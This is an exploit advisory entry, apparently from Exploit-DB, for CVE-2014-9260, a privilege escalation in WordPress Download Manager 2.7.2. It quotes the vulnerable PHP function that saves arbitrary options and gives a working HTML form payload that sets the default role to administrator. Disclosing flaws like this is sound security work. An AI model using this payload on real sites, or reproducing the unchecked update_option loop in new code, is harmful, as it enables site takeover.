WordPress Download Manager 2.7.2 Privilege Escalation

vendor:

Download Manager

by:

Kacper Szurek

8,8

CVSS

HIGH

Privilege Escalation

264

CWE

Product Name: Download Manager

Affected Version From: 2.7.2

Affected Version To: 2.7.2

Patch Exists: YES

Related CWE: CVE-2014-9260

CPE: 2.7.2

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: WordPress

2014

WordPress Download Manager 2.7.2 Privilege Escalation

Every registered user can update every WordPress options using basic_settings() function. Login as standard user (created using wp-login.php?action=register) then submit a form with a hidden input containing a value of 'administrator' for the 'default_role' parameter. After that create new user using wp-login.php?action=register. Newly created user will have admin privileges.

Mitigation:

Update to version 2.7.3

Source

Exploit-DB raw data:

# Exploit Title: WordPress Download Manager 2.7.2 Privilege Escalation
# Date: 24-11-2014
# Software Link: https://wordpress.org/plugins/download-manager/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps
# CVE: CVE-2014-9260

1. Description
  
Every registered user can update every WordPress options using basic_settings() function.

function basic_settings()
{
    if (isset($_POST['task']) && $_POST['task'] == 'wdm_save_settings') {

        foreach ($_POST as $optn => $optv) {
            update_option($optn, $optv);
        }
        if (!isset($_POST['__wpdm_login_form'])) delete_option('__wpdm_login_form');



        die('Settings Saved Successfully');
    }
    include('settings/basic.php');
}

http://security.szurek.pl/wordpress-download-manager-272-privilege-escalation.html

2. Proof of Concept

Login as standard user (created using wp-login.php?action=register) then:

<form method="post" action="http://wordpress-url/wp-admin/admin-ajax.php?action=wdm_settings">
    <input type="hidden" name="task" value="wdm_save_settings">
    <input type="hidden" name="section" value="basic">
    <input type="hidden" name="default_role" value="administrator">
    <input type="submit" value="Hack!">
</form>

After that create new user using wp-login.php?action=register. Newly created user will have admin privileges.

3. Solution:
  
Update to version 2.7.3